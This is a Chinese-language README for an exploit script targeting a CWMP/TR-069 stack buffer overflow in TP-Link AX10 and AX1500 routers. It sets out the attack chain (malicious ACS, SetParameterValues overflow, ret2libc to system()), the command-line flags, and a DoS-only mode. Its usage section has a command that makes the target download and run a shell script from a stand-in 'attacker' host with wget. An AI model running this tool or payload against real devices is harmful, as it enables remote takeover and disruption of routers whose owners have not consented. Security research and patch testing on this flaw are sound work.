TP-Link AX10/AX1500 CWMP 缓冲区溢出远程代码执行
CWMP(TR-069)中的栈缓冲区溢出导致远程代码执行。
| 字段 | 值 |
|---|---|
| 产品 | TP-Link AX10, AX1500 |
| 受影响版本 | AX10 < 1.2.1, AX1500 < 1.3.11 |
| CVSS | 8.6(高危) |
| 类型 | 栈缓冲区溢出 |
| 向量 | CWMP/TR-069(端口 7547) |
| 影响 | 远程代码执行 |
flowchart LR
A[Attacker] --> B["Malicious ACS"]
B --> C["SetParameterValues"]
C --> D["Stack Overflow"]
D --> E["Overwrite PC"]
E --> F["ret2libc"]
F --> G["system()"]
G --> H["RCE"]漏洞存在于 cwmp 进程处理 SetParameterValues SOAP 请求的过程中。输入数据在计算缓冲区大小时未经边界检查。
利用方式:
python exploit.py <target_ip> --check-only
python exploit.py 192.168.0.1 --dos
python exploit.py 192.168.0.1 -c "wget http://attacker/shell.sh -O /tmp/s; sh /tmp/s"
无(使用标准库)
仅供授权安全测试使用。
| 标志 | 描述 | 默认值 |
|---|
-p, --port | CWMP 端口 | 7547 |
-c, --command | RCE 执行的命令 | none |
-t, --timeout | 套接字超时 | 10 |
--dos | 仅 DoS 模式 | off |
--check-only | 仅检测是否易受攻击 | off |